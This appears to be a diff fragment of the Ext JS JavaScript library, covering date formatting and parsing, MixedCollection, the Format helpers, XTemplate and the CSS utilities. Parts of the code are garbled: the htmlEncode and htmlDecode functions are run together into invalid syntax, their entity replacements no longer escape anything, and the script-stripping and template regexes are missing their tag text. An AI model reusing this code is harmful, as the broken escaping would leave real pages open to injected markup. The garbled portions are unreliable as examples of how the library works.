M:"Date.getShortMonthName(this.getMonth())", n:"(this.getMonth() + 1)", t:"this.getDaysInMonth()", L:"(this.isLeapYear() ? 1 : 0)", o:"(this.getFullYear() + (this.getWeekOfYear() == 1 && this.getMonth() > 0 ? +1 : (this.getWeekOfYear() >= 52 && this.getMonth() < 11 ? -1 : 0)))", Y:"String.leftPad(this.getFullYear(), 4, '0')", y:"('' + this.getFullYear()).substring(2, 4)", a:"(this.getHours() < 12 ? 'am' : 'pm')", A:"(this.getHours() < 12 ? 'AM' : 'PM')", g:"((this.getHours() % 12) ? this.getHours() % 12 : 12)", G:"this.getHours()", h:"String.leftPad((this.getHours() % 12) ? this.getHours() % 12 : 12, 2, '0')", H:"String.leftPad(this.getHours(), 2, '0')", i:"String.leftPad(this.getMinutes(), 2, '0')", s:"String.leftPad(this.getSeconds(), 2, '0')", u:"String.leftPad(this.getMilliseconds(), 3, '0')", O:"this.getGMTOffset()", P:"this.getGMTOffset(true)", T:"this.getTimezone()", Z:"(this.getTimezoneOffset() * -60)", c:function () { + for (var k = "Y-m-dTH:i:sP", h = [], g = 0, d = k.length; g < d; ++g) { + var j = k.charAt(g); + h.push(j == "T" ? "'T'" : Date.getFormatCode(j)) + } + return h.join(" + ") + }, U:"Math.round(this.getTime() / 1000)"}, isValid:function (o, c, n, k, g, j, e) { + k = k || 0; + g = g || 0; + j = j || 0; + e = e || 0; + var l = new Date(o < 100 ? 100 : o, c - 1, n, k, g, j, e).add(Date.YEAR, o < 100 ? o - 100 : 0); + return o == l.getFullYear() && c == l.getMonth() + 1 && n == l.getDate() && k == l.getHours() && g == l.getMinutes() && j == l.getSeconds() && e == l.getMilliseconds() + }, parseDate:function (d, g, c) { + var e = Date.parseFunctions; + if (e[g] == null) { + Date.createParser(g) + } + return e[g](d, Ext.isDefined(c) ? c : Date.useStrict) + }, getFormatCode:function (d) { + var c = Date.formatCodes[d]; + if (c) { + c = typeof c == "function" ? c() : c; + Date.formatCodes[d] = c + } + return c || ("'" + String.escape(d) + "'") + }, createFormat:function (h) { + var g = [], c = false, e = ""; + for (var d = 0; d < h.length; ++d) { + e = h.charAt(d); + if (!c && e == "\\") { + c = true + } else { + if (c) { + c = false; + g.push("'" + String.escape(e) + "'") + } else { + g.push(Date.getFormatCode(e)) + } + } + } + Date.formatFunctions[h] = new Function("return " + g.join("+")) + }, createParser:function () { + var c = ["var dt, y, m, d, h, i, s, ms, o, z, zz, u, v,", "def = Date.defaults,", "results = String(input).match(Date.parseRegexes[{0}]);", "if(results){", "{1}", "if(u != null){", "v = new Date(u * 1000);", "}else{", "dt = (new Date()).clearTime();", "y = Ext.num(y, Ext.num(def.y, dt.getFullYear()));", "m = Ext.num(m, Ext.num(def.m - 1, dt.getMonth()));", "d = Ext.num(d, Ext.num(def.d, dt.getDate()));", "h = Ext.num(h, Ext.num(def.h, dt.getHours()));", "i = Ext.num(i, Ext.num(def.i, dt.getMinutes()));", "s = Ext.num(s, Ext.num(def.s, dt.getSeconds()));", "ms = Ext.num(ms, Ext.num(def.ms, dt.getMilliseconds()));", "if(z >= 0 && y >= 0){", "v = new Date(y < 100 ? 100 : y, 0, 1, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);", "v = !strict? v : (strict === true && (z <= 364 || (v.isLeapYear() && z <= 365))? v.add(Date.DAY, z) : null);", "}else if(strict === true && !Date.isValid(y, m + 1, d, h, i, s, ms)){", "v = null;", "}else{", "v = new Date(y < 100 ? 100 : y, m, d, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);", "}", "}", "}", "if(v){", "if(zz != null){", "v = v.add(Date.SECOND, -v.getTimezoneOffset() * 60 - zz);", "}else if(o){", "v = v.add(Date.MINUTE, -v.getTimezoneOffset() + (sn == '+'? -1 : 1) * (hr * 60 + mn));", "}", "}", "return v;"].join("\n"); + return function (m) { + var e = Date.parseRegexes.length, o = 1, g = [], l = [], k = false, d = "", j = 0, h, n; + for (; j < m.length; ++j) { + d = m.charAt(j); + if (!k && d == "\\") { + k = true + } else { + if (k) { + k = false; + l.push(String.escape(d)) + } else { + h = a(d, o); + o += h.g; + l.push(h.s); + if (h.g && h.c) { + if (h.calcLast) { + n = h.c + } else { + g.push(h.c) + } + } + } + } + } + if (n) { + g.push(n) + } + Date.parseRegexes[e] = new RegExp("^" + l.join("") + "$", "i"); + Date.parseFunctions[m] = new Function("input", "strict", b(c, e, g.join(""))) + } + }(), parseCodes:{d:{g:1, c:"d = parseInt(results[{0}], 10);\n", s:"(\\d{2})"}, j:{g:1, c:"d = parseInt(results[{0}], 10);\n", s:"(\\d{1,2})"}, D:function () { + for (var c = [], d = 0; d < 7; c.push(Date.getShortDayName(d)), ++d) { + } + return{g:0, c:null, s:"(?:" + c.join("|") + ")"} + }, l:function () { + return{g:0, c:null, s:"(?:" + Date.dayNames.join("|") + ")"} + }, N:{g:0, c:null, s:"[1-7]"}, S:{g:0, c:null, s:"(?:st|nd|rd|th)"}, w:{g:0, c:null, s:"[0-6]"}, z:{g:1, c:"z = parseInt(results[{0}], 10);\n", s:"(\\d{1,3})"}, W:{g:0, c:null, s:"(?:\\d{2})"}, F:function () { + return{g:1, c:"m = parseInt(Date.getMonthNumber(results[{0}]), 10);\n", s:"(" + Date.monthNames.join("|") + ")"} + }, M:function () { + for (var c = [], d = 0; d < 12; c.push(Date.getShortMonthName(d)), ++d) { + } + return Ext.applyIf({s:"(" + c.join("|") + ")"}, a("F")) + }, m:{g:1, c:"m = parseInt(results[{0}], 10) - 1;\n", s:"(\\d{2})"}, n:{g:1, c:"m = parseInt(results[{0}], 10) - 1;\n", s:"(\\d{1,2})"}, t:{g:0, c:null, s:"(?:\\d{2})"}, L:{g:0, c:null, s:"(?:1|0)"}, o:function () { + return a("Y") + }, Y:{g:1, c:"y = parseInt(results[{0}], 10);\n", s:"(\\d{4})"}, y:{g:1, c:"var ty = parseInt(results[{0}], 10);\ny = ty > Date.y2kYear ? 1900 + ty : 2000 + ty;\n", s:"(\\d{1,2})"}, a:function () { + return a("A") + }, A:{calcLast:true, g:1, c:"if (/(am)/i.test(results[{0}])) {\nif (!h || h == 12) { h = 0; }\n} else { if (!h || h < 12) { h = (h || 0) + 12; }}", s:"(AM|PM|am|pm)"}, g:function () { + return a("G") + }, G:{g:1, c:"h = parseInt(results[{0}], 10);\n", s:"(\\d{1,2})"}, h:function () { + return a("H") + }, H:{g:1, c:"h = parseInt(results[{0}], 10);\n", s:"(\\d{2})"}, i:{g:1, c:"i = parseInt(results[{0}], 10);\n", s:"(\\d{2})"}, s:{g:1, c:"s = parseInt(results[{0}], 10);\n", s:"(\\d{2})"}, u:{g:1, c:"ms = results[{0}]; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n", s:"(\\d+)"}, O:{g:1, c:["o = results[{0}];", "var sn = o.substring(0,1),", "hr = o.substring(1,3)*1 + Math.floor(o.substring(3,5) / 60),", "mn = o.substring(3,5) % 60;", "o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"), s:"([+-]\\d{4})"}, P:{g:1, c:["o = results[{0}];", "var sn = o.substring(0,1),", "hr = o.substring(1,3)*1 + Math.floor(o.substring(4,6) / 60),", "mn = o.substring(4,6) % 60;", "o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"), s:"([+-]\\d{2}:\\d{2})"}, T:{g:0, c:null, s:"[A-Z]{1,4}"}, Z:{g:1, c:"zz = results[{0}] * 1;\nzz = (-43200 <= zz && zz <= 50400)? zz : null;\n", s:"([+-]?\\d{1,5})"}, c:function () { + var e = [], c = [a("Y", 1), a("m", 2), a("d", 3), a("h", 4), a("i", 5), a("s", 6), {c:"ms = results[7] || '0'; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n"}, {c:["if(results[8]) {", "if(results[8] == 'Z'){", "zz = 0;", "}else if (results[8].indexOf(':') > -1){", a("P", 8).c, "}else{", a("O", 8).c, "}", "}"].join("\n")}]; + for (var g = 0, d = c.length; g < d; ++g) { + e.push(c[g].c) + } + return{g:1, c:e.join(""), s:[c[0].s, "(?:", "-", c[1].s, "(?:", "-", c[2].s, "(?:", "(?:T| )?", c[3].s, ":", c[4].s, "(?::", c[5].s, ")?", "(?:(?:\\.|,)(\\d+))?", "(Z|(?:[-+]\\d{2}(?::)?\\d{2}))?", ")?", ")?", ")?"].join("")} + }, U:{g:1, c:"u = parseInt(results[{0}], 10);\n", s:"(-?\\d+)"}}}) +}()); +Ext.apply(Date.prototype, {dateFormat:function (a) { + if (Date.formatFunctions[a] == null) { + Date.createFormat(a) + } + return Date.formatFunctions[a].call(this) +}, getTimezone:function () { + return this.toString().replace(/^.* (?:\((.*)\)|([A-Z]{1,4})(?:[\-+][0-9]{4})?(?: -?\d+)?)$/, "$1$2").replace(/[^A-Z]/g, "") +}, getGMTOffset:function (a) { + return(this.getTimezoneOffset() > 0 ? "-" : "+") + String.leftPad(Math.floor(Math.abs(this.getTimezoneOffset()) / 60), 2, "0") + (a ? ":" : "") + String.leftPad(Math.abs(this.getTimezoneOffset() % 60), 2, "0") +}, getDayOfYear:function () { + var b = 0, e = this.clone(), a = this.getMonth(), c; + for (c = 0, e.setDate(1), e.setMonth(0); c < a; e.setMonth(++c)) { + b += e.getDaysInMonth() + } + return b + this.getDate() - 1 +}, getWeekOfYear:function () { + var a = 86400000, b = 7 * a; + return function () { + var d = Date.UTC(this.getFullYear(), this.getMonth(), this.getDate() + 3) / a, c = Math.floor(d / 7), e = new Date(c * b).getUTCFullYear(); + return c - Math.floor(Date.UTC(e, 0, 7) / b) + 1 + } +}(), isLeapYear:function () { + var a = this.getFullYear(); + return !!((a & 3) == 0 && (a % 100 || (a % 400 == 0 && a))) +}, getFirstDayOfMonth:function () { + var a = (this.getDay() - (this.getDate() - 1)) % 7; + return(a < 0) ? (a + 7) : a +}, getLastDayOfMonth:function () { + return this.getLastDateOfMonth().getDay() +}, getFirstDateOfMonth:function () { + return new Date(this.getFullYear(), this.getMonth(), 1) +}, getLastDateOfMonth:function () { + return new Date(this.getFullYear(), this.getMonth(), this.getDaysInMonth()) +}, getDaysInMonth:function () { + var a = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; + return function () { + var b = this.getMonth(); + return b == 1 && this.isLeapYear() ? 29 : a[b] + } +}(), getSuffix:function () { + switch (this.getDate()) { + case 1: + case 21: + case 31: + return"st"; + case 2: + case 22: + return"nd"; + case 3: + case 23: + return"rd"; + default: + return"th" + } +}, clone:function () { + return new Date(this.getTime()) +}, isDST:function () { + return new Date(this.getFullYear(), 0, 1).getTimezoneOffset() != this.getTimezoneOffset() +}, clearTime:function (g) { + if (g) { + return this.clone().clearTime() + } + var b = this.getDate(); + this.setHours(0); + this.setMinutes(0); + this.setSeconds(0); + this.setMilliseconds(0); + if (this.getDate() != b) { + for (var a = 1, e = this.add(Date.HOUR, a); e.getDate() != b; a++, e = this.add(Date.HOUR, a)) { + } + this.setDate(b); + this.setHours(e.getHours()) + } + return this +}, add:function (b, c) { + var e = this.clone(); + if (!b || c === 0) { + return e + } + switch (b.toLowerCase()) { + case Date.MILLI: + e.setMilliseconds(this.getMilliseconds() + c); + break; + case Date.SECOND: + e.setSeconds(this.getSeconds() + c); + break; + case Date.MINUTE: + e.setMinutes(this.getMinutes() + c); + break; + case Date.HOUR: + e.setHours(this.getHours() + c); + break; + case Date.DAY: + e.setDate(this.getDate() + c); + break; + case Date.MONTH: + var a = this.getDate(); + if (a > 28) { + a = Math.min(a, this.getFirstDateOfMonth().add("mo", c).getLastDateOfMonth().getDate()) + } + e.setDate(a); + e.setMonth(this.getMonth() + c); + break; + case Date.YEAR: + e.setFullYear(this.getFullYear() + c); + break + } + return e +}, between:function (c, a) { + var b = this.getTime(); + return c.getTime() <= b && b <= a.getTime() +}}); +Date.prototype.format = Date.prototype.dateFormat; +if (Ext.isSafari && (navigator.userAgent.match(/WebKit\/(\d+)/)[1] || NaN) < 420) { + Ext.apply(Date.prototype, {_xMonth:Date.prototype.setMonth, _xDate:Date.prototype.setDate, setMonth:function (a) { + if (a <= -1) { + var d = Math.ceil(-a), c = Math.ceil(d / 12), b = (d % 12) ? 12 - d % 12 : 0; + this.setFullYear(this.getFullYear() - c); + return this._xMonth(b) + } else { + return this._xMonth(a) + } + }, setDate:function (a) { + return this.setTime(this.getTime() - (this.getDate() - a) * 86400000) + }}) +} +Ext.util.MixedCollection = function (b, a) { + this.items = []; + this.map = {}; + this.keys = []; + this.length = 0; + this.addEvents("clear", "add", "replace", "remove", "sort"); + this.allowFunctions = b === true; + if (a) { + this.getKey = a + } + Ext.util.MixedCollection.superclass.constructor.call(this) +}; +Ext.extend(Ext.util.MixedCollection, Ext.util.Observable, {allowFunctions:false, add:function (b, c) { + if (arguments.length == 1) { + c = arguments[0]; + b = this.getKey(c) + } + if (typeof b != "undefined" && b !== null) { + var a = this.map[b]; + if (typeof a != "undefined") { + return this.replace(b, c) + } + this.map[b] = c + } + this.length++; + this.items.push(c); + this.keys.push(b); + this.fireEvent("add", this.length - 1, c, b); + return c +}, getKey:function (a) { + return a.id +}, replace:function (c, d) { + if (arguments.length == 1) { + d = arguments[0]; + c = this.getKey(d) + } + var a = this.map[c]; + if (typeof c == "undefined" || c === null || typeof a == "undefined") { + return this.add(c, d) + } + var b = this.indexOfKey(c); + this.items[b] = d; + this.map[c] = d; + this.fireEvent("replace", c, a, d); + return d +}, addAll:function (e) { + if (arguments.length > 1 || Ext.isArray(e)) { + var b = arguments.length > 1 ? arguments : e; + for (var d = 0, a = b.length; d < a; d++) { + this.add(b[d]) + } + } else { + for (var c in e) { + if (this.allowFunctions || typeof e[c] != "function") { + this.add(c, e[c]) + } + } + } +}, each:function (e, d) { + var b = [].concat(this.items); + for (var c = 0, a = b.length; c < a; c++) { + if (e.call(d || b[c], b[c], c, a) === false) { + break + } + } +}, eachKey:function (d, c) { + for (var b = 0, a = this.keys.length; b < a; b++) { + d.call(c || window, this.keys[b], this.items[b], b, a) + } +}, find:function (d, c) { + for (var b = 0, a = this.items.length; b < a; b++) { + if (d.call(c || window, this.items[b], this.keys[b])) { + return this.items[b] + } + } + return null +}, insert:function (a, b, c) { + if (arguments.length == 2) { + c = arguments[1]; + b = this.getKey(c) + } + if (this.containsKey(b)) { + this.suspendEvents(); + this.removeKey(b); + this.resumeEvents() + } + if (a >= this.length) { + return this.add(b, c) + } + this.length++; + this.items.splice(a, 0, c); + if (typeof b != "undefined" && b !== null) { + this.map[b] = c + } + this.keys.splice(a, 0, b); + this.fireEvent("add", a, c, b); + return c +}, remove:function (a) { + return this.removeAt(this.indexOf(a)) +}, removeAt:function (a) { + if (a < this.length && a >= 0) { + this.length--; + var c = this.items[a]; + this.items.splice(a, 1); + var b = this.keys[a]; + if (typeof b != "undefined") { + delete this.map[b] + } + this.keys.splice(a, 1); + this.fireEvent("remove", c, b); + return c + } + return false +}, removeKey:function (a) { + return this.removeAt(this.indexOfKey(a)) +}, getCount:function () { + return this.length +}, indexOf:function (a) { + return this.items.indexOf(a) +}, indexOfKey:function (a) { + return this.keys.indexOf(a) +}, item:function (b) { + var a = this.map[b], c = a !== undefined ? a : (typeof b == "number") ? this.items[b] : undefined; + return typeof c != "function" || this.allowFunctions ? c : null +}, itemAt:function (a) { + return this.items[a] +}, key:function (a) { + return this.map[a] +}, contains:function (a) { + return this.indexOf(a) != -1 +}, containsKey:function (a) { + return typeof this.map[a] != "undefined" +}, clear:function () { + this.length = 0; + this.items = []; + this.keys = []; + this.map = {}; + this.fireEvent("clear") +}, first:function () { + return this.items[0] +}, last:function () { + return this.items[this.length - 1] +}, _sort:function (k, a, j) { + var d, e, b = String(a).toUpperCase() == "DESC" ? -1 : 1, h = [], l = this.keys, g = this.items; + j = j || function (i, c) { + return i - c + }; + for (d = 0, e = g.length; d < e; d++) { + h[h.length] = {key:l[d], value:g[d], index:d} + } + h.sort(function (i, c) { + var m = j(i[k], c[k]) * b; + if (m === 0) { + m = (i.index < c.index ? -1 : 1) + } + return m + }); + for (d = 0, e = h.length; d < e; d++) { + g[d] = h[d].value; + l[d] = h[d].key + } + this.fireEvent("sort", this) +}, sort:function (a, b) { + this._sort("value", a, b) +}, reorder:function (d) { + this.suspendEvents(); + var b = this.items, c = 0, g = b.length, a = [], e = [], h; + for (h in d) { + a[d[h]] = b[h] + } + for (c = 0; c < g; c++) { + if (d[c] == undefined) { + e.push(b[c]) + } + } + for (c = 0; c < g; c++) { + if (a[c] == undefined) { + a[c] = e.shift() + } + } + this.clear(); + this.addAll(a); + this.resumeEvents(); + this.fireEvent("sort", this) +}, keySort:function (a, b) { + this._sort("key", a, b || function (d, c) { + var g = String(d).toUpperCase(), e = String(c).toUpperCase(); + return g > e ? 1 : (g < e ? -1 : 0) + }) +}, getRange:function (e, a) { + var b = this.items; + if (b.length < 1) { + return[] + } + e = e || 0; + a = Math.min(typeof a == "undefined" ? this.length - 1 : a, this.length - 1); + var c, d = []; + if (e <= a) { + for (c = e; c <= a; c++) { + d[d.length] = b[c] + } + } else { + for (c = e; c >= a; c--) { + d[d.length] = b[c] + } + } + return d +}, filter:function (c, b, d, a) { + if (Ext.isEmpty(b, false)) { + return this.clone() + } + b = this.createValueMatcher(b, d, a); + return this.filterBy(function (e) { + return e && b.test(e[c]) + }) +}, filterBy:function (g, e) { + var h = new Ext.util.MixedCollection(); + h.getKey = this.getKey; + var b = this.keys, d = this.items; + for (var c = 0, a = d.length; c < a; c++) { + if (g.call(e || this, d[c], b[c])) { + h.add(b[c], d[c]) + } + } + return h +}, findIndex:function (c, b, e, d, a) { + if (Ext.isEmpty(b, false)) { + return -1 + } + b = this.createValueMatcher(b, d, a); + return this.findIndexBy(function (g) { + return g && b.test(g[c]) + }, null, e) +}, findIndexBy:function (g, e, h) { + var b = this.keys, d = this.items; + for (var c = (h || 0), a = d.length; c < a; c++) { + if (g.call(e || this, d[c], b[c])) { + return c + } + } + return -1 +}, createValueMatcher:function (c, e, a, b) { + if (!c.exec) { + var d = Ext.escapeRe; + c = String(c); + if (e === true) { + c = d(c) + } else { + c = "^" + d(c); + if (b === true) { + c += "$" + } + } + c = new RegExp(c, a ? "" : "i") + } + return c +}, clone:function () { + var e = new Ext.util.MixedCollection(); + var b = this.keys, d = this.items; + for (var c = 0, a = d.length; c < a; c++) { + e.add(b[c], d[c]) + } + e.getKey = this.getKey; + return e +}}); +Ext.util.MixedCollection.prototype.get = Ext.util.MixedCollection.prototype.item; +Ext.AbstractManager = Ext.extend(Object, {typeName:"type", constructor:function (a) { + Ext.apply(this, a || {}); + this.all = new Ext.util.MixedCollection(); + this.types = {} +}, get:function (a) { + return this.all.get(a) +}, register:function (a) { + this.all.add(a) +}, unregister:function (a) { + this.all.remove(a) +}, registerType:function (b, a) { + this.types[b] = a; + a[this.typeName] = b +}, isRegistered:function (a) { + return this.types[a] !== undefined +}, create:function (a, d) { + var b = a[this.typeName] || a.type || d, c = this.types[b]; + if (c == undefined) { + throw new Error(String.format("The '{0}' type has not been registered with this manager", b)) + } + return new c(a) +}, onAvailable:function (d, c, b) { + var a = this.all; + a.on("add", function (e, g) { + if (g.id == d) { + c.call(b || g, g); + a.un("add", c, b) + } + }) +}}); +Ext.util.Format = function () { + var trimRe = /^\s+|\s+$/g, stripTagsRE = /<\/?[^>]+>/gi, stripScriptsRe = /(?:)((\n|\r|.)*?)(?:<\/script>)/ig, nl2brRe = /\r?\n/g; + return{ellipsis:function (value, len, word) { + if (value && value.length > len) { + if (word) { + var vs = value.substr(0, len - 2), index = Math.max(vs.lastIndexOf(" "), vs.lastIndexOf("."), vs.lastIndexOf("!"), vs.lastIndexOf("?")); + if (index == -1 || index < (len - 15)) { + return value.substr(0, len - 3) + "..." + } else { + return vs.substr(0, index) + "..." + } + } else { + return value.substr(0, len - 3) + "..." + } + } + return value + }, undef:function (value) { + return value !== undefined ? value : "" + }, defaultValue:function (value, defaultValue) { + return value !== undefined && value !== "" ? value : defaultValue + }, htmlEncode:function (value) { + return !value ? value : String(value).replace(/&/g, "&").replace(/>/g, ">").replace(/").replace(/</g, "<").replace(/"/g, '"').replace(/&/g, "&") + }, trim:function (value) { + return String(value).replace(trimRe, "") + }, substr:function (value, start, length) { + return String(value).substr(start, length) + }, lowercase:function (value) { + return String(value).toLowerCase() + }, uppercase:function (value) { + return String(value).toUpperCase() + }, capitalize:function (value) { + return !value ? value : value.charAt(0).toUpperCase() + value.substr(1).toLowerCase() + }, call:function (value, fn) { + if (arguments.length > 2) { + var args = Array.prototype.slice.call(arguments, 2); + args.unshift(value); + return eval(fn).apply(window, args) + } else { + return eval(fn).call(window, value) + } + }, usMoney:function (v) { + v = (Math.round((v - 0) * 100)) / 100; + v = (v == Math.floor(v)) ? v + ".00" : ((v * 10 == Math.floor(v * 10)) ? v + "0" : v); + v = String(v); + var ps = v.split("."), whole = ps[0], sub = ps[1] ? "." + ps[1] : ".00", r = /(\d+)(\d{3})/; + while (r.test(whole)) { + whole = whole.replace(r, "$1,$2") + } + v = whole + sub; + if (v.charAt(0) == "-") { + return"-$" + v.substr(1) + } + return"$" + v + }, date:function (v, format) { + if (!v) { + return"" + } + if (!Ext.isDate(v)) { + v = new Date(Date.parse(v)) + } + return v.dateFormat(format || "m/d/Y") + }, dateRenderer:function (format) { + return function (v) { + return Ext.util.Format.date(v, format) + } + }, stripTags:function (v) { + return !v ? v : String(v).replace(stripTagsRE, "") + }, stripScripts:function (v) { + return !v ? v : String(v).replace(stripScriptsRe, "") + }, fileSize:function (size) { + if (size < 1024) { + return size + " bytes" + } else { + if (size < 1048576) { + return(Math.round(((size * 10) / 1024)) / 10) + " KB" + } else { + return(Math.round(((size * 10) / 1048576)) / 10) + " MB" + } + } + }, math:function () { + var fns = {}; + return function (v, a) { + if (!fns[a]) { + fns[a] = new Function("v", "return v " + a + ";") + } + return fns[a](v) + } + }(), round:function (value, precision) { + var result = Number(value); + if (typeof precision == "number") { + precision = Math.pow(10, precision); + result = Math.round(value * precision) / precision + } + return result + }, number:function (v, format) { + if (!format) { + return v + } + v = Ext.num(v, NaN); + if (isNaN(v)) { + return"" + } + var comma = ",", dec = ".", i18n = false, neg = v < 0; + v = Math.abs(v); + if (format.substr(format.length - 2) == "/i") { + format = format.substr(0, format.length - 2); + i18n = true; + comma = "."; + dec = "," + } + var hasComma = format.indexOf(comma) != -1, psplit = (i18n ? format.replace(/[^\d\,]/g, "") : format.replace(/[^\d\.]/g, "")).split(dec); + if (1 < psplit.length) { + v = v.toFixed(psplit[1].length) + } else { + if (2 < psplit.length) { + throw ("NumberFormatException: invalid format, formats should have no more than 1 period: " + format) + } else { + v = v.toFixed(0) + } + } + var fnum = v.toString(); + psplit = fnum.split("."); + if (hasComma) { + var cnum = psplit[0], parr = [], j = cnum.length, m = Math.floor(j / 3), n = cnum.length % 3 || 3, i; + for (i = 0; i < j; i += n) { + if (i != 0) { + n = 3 + } + parr[parr.length] = cnum.substr(i, n); + m -= 1 + } + fnum = parr.join(comma); + if (psplit[1]) { + fnum += dec + psplit[1] + } + } else { + if (psplit[1]) { + fnum = psplit[0] + dec + psplit[1] + } + } + return(neg ? "-" : "") + format.replace(/[\d,?\.?]+/, fnum) + }, numberRenderer:function (format) { + return function (v) { + return Ext.util.Format.number(v, format) + } + }, plural:function (v, s, p) { + return v + " " + (v == 1 ? s : (p ? p : s + "s")) + }, nl2br:function (v) { + return Ext.isEmpty(v) ? "" : v.replace(nl2brRe, "
") + }} +}(); +Ext.XTemplate = function () { + Ext.XTemplate.superclass.constructor.apply(this, arguments); + var y = this, j = y.html, q = /]*>((?:(?=([^<]+))\2|<(?!tpl\b[^>]*>))*?)<\/tpl>/, d = /^]*?for="(.*?)"/, v = /^]*?if="(.*?)"/, x = /^]*?exec="(.*?)"/, r, p = 0, k = [], o = "values", w = "parent", l = "xindex", n = "xcount", e = "return ", c = "with(values){ "; + j = ["", j, ""].join(""); + while ((r = j.match(q))) { + var b = r[0].match(d), a = r[0].match(v), A = r[0].match(x), g = null, h = null, t = null, z = b && b[1] ? b[1] : ""; + if (a) { + g = a && a[1] ? a[1] : null; + if (g) { + h = new Function(o, w, l, n, c + e + (Ext.util.Format.htmlDecode(g)) + "; }") + } + } + if (A) { + g = A && A[1] ? A[1] : null; + if (g) { + t = new Function(o, w, l, n, c + (Ext.util.Format.htmlDecode(g)) + "; }") + } + } + if (z) { + switch (z) { + case".": + z = new Function(o, w, c + e + o + "; }"); + break; + case"..": + z = new Function(o, w, c + e + w + "; }"); + break; + default: + z = new Function(o, w, c + e + z + "; }") + } + } + k.push({id:p, target:z, exec:t, test:h, body:r[1] || ""}); + j = j.replace(r[0], "{xtpl" + p + "}"); + ++p + } + for (var u = k.length - 1; u >= 0; --u) { + y.compileTpl(k[u]) + } + y.master = k[k.length - 1]; + y.tpls = k +}; +Ext.extend(Ext.XTemplate, Ext.Template, {re:/\{([\w\-\.\#]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?(\s?[\+\-\*\\]\s?[\d\.\+\-\*\\\(\)]+)?\}/g, codeRe:/\{\[((?:\\\]|.|\n)*?)\]\}/g, applySubTemplate:function (a, k, j, d, c) { + var h = this, g, m = h.tpls[a], l, b = []; + if ((m.test && !m.test.call(h, k, j, d, c)) || (m.exec && m.exec.call(h, k, j, d, c))) { + return"" + } + l = m.target ? m.target.call(h, k, j) : k; + g = l.length; + j = m.target ? k : j; + if (m.target && Ext.isArray(l)) { + for (var e = 0, g = l.length; e < g; e++) { + b[b.length] = m.compiled.call(h, l[e], j, e + 1, g) + } + return b.join("") + } + return m.compiled.call(h, l, j, d, c) +}, compileTpl:function (tpl) { + var fm = Ext.util.Format, useF = this.disableFormats !== true, sep = Ext.isGecko ? "+" : ",", body; + + function fn(m, name, format, args, math) { + if (name.substr(0, 4) == "xtpl") { + return"'" + sep + "this.applySubTemplate(" + name.substr(4) + ", values, parent, xindex, xcount)" + sep + "'" + } + var v; + if (name === ".") { + v = "values" + } else { + if (name === "#") { + v = "xindex" + } else { + if (name.indexOf(".") != -1) { + v = name + } else { + v = "values['" + name + "']" + } + } + } + if (math) { + v = "(" + v + math + ")" + } + if (format && useF) { + args = args ? "," + args : ""; + if (format.substr(0, 5) != "this.") { + format = "fm." + format + "(" + } else { + format = 'this.call("' + format.substr(5) + '", '; + args = ", values" + } + } else { + args = ""; + format = "(" + v + " === undefined ? '' : " + } + return"'" + sep + format + v + args + ")" + sep + "'" + } + + function codeFn(m, code) { + return"'" + sep + "(" + code.replace(/\\'/g, "'") + ")" + sep + "'" + } + + if (Ext.isGecko) { + body = "tpl.compiled = function(values, parent, xindex, xcount){ return '" + tpl.body.replace(/(\r\n|\n)/g, "\\n").replace(/'/g, "\\'").replace(this.re, fn).replace(this.codeRe, codeFn) + "';};" + } else { + body = ["tpl.compiled = function(values, parent, xindex, xcount){ return ['"]; + body.push(tpl.body.replace(/(\r\n|\n)/g, "\\n").replace(/'/g, "\\'").replace(this.re, fn).replace(this.codeRe, codeFn)); + body.push("'].join('');};"); + body = body.join("") + } + eval(body); + return this +}, applyTemplate:function (a) { + return this.master.compiled.call(this, a, {}, 1, 1) +}, compile:function () { + return this +}}); +Ext.XTemplate.prototype.apply = Ext.XTemplate.prototype.applyTemplate; +Ext.XTemplate.from = function (a) { + a = Ext.getDom(a); + return new Ext.XTemplate(a.value || a.innerHTML) +}; +Ext.util.CSS = function () { + var d = null; + var c = document; + var b = /(-[a-z])/gi; + var a = function (e, g) { + return g.charAt(1).toUpperCase() + }; + return{createStyleSheet:function (i, l) { + var h; + var g = c.getElementsByTagName("head")[0]; + var k = c.createElement("style"); + k.setAttribute("type", "text/css"); + if (l) { + k.setAttribute("id", l) + } + if (Ext.isIE) { + g.appendChild(k); + h = k.styleSheet; + h.cssText = i + } else { + try { + k.appendChild(c.createTextNode(i)) + } catch (j) { + k.cssText = i + } + g.appendChild(k); + h = k.styleSheet ? k.styleSheet : (k.sheet || c.styleSheets[c.styleSheets.length - 1]) + } + this.cacheStyleSheet(h); + return h + }, removeStyleSheet:function (g) { + var e = c.getElementById(g); + if (e) { + e.parentNode.removeChild(e) + } + }, swapStyleSheet:function (h, e) { + this.removeStyleSheet(h); + var g = c.createElement("link"); + g.setAttribute("rel", "stylesheet"); + g.setAttribute("type", "text/css"); + g.setAttribute("id", h); + g.setAttribute("href", e); + c.getElementsByTagName("head")[0].appendChild(g) + }, refreshCache:function () { + return this.getRules(true) + }, cacheStyleSheet:function (h) { + if (!d) { + d = {} + } + try { + var k = h.cssRules || h.rules; + for (var g = k.length - 1; g >= 0; --g) { + d[k[g].selectorText.toLowerCase()] = k[g] + } + } catch (i) { + } + }, getRules:function (h) { + if (d === null || h) { + d = {}; + var k = c.styleSheets; + for (var j = 0, g = k.length; j < g; j++) { + try { + this.cacheStyleSheet(k[j]) + } catch (l) { + } + } + } + return d + }, getRule:function (e, h) { + var g = this.getRules(h); + if (!Ext.isArray(e)) { + return g[e.toLowerCase()] + } + for (var j = 0; j < e.length; j++) { + if (g[e[j]]) { + return g[e[j].toLowerCase()] + } + } + return null + }, updateRule:function (e, j, h) { + if (!Ext.isArray(e)) { + var k = this.getRule(e); + if (k) { + k.style[j.replace(b, a)] = h; + return true + } + } else { + for (var g = 0; g < e.length; g++) { + if (this.updateRule(e[g], j, h)) { + return true + } + } + } + return false + }} +}(); +Ext.util.ClickRepeater = Ext.extend(Ext.util.Observable, {constructor:function (b, a) { + this.el = Ext.get(b); + this.el.unselectable(); + 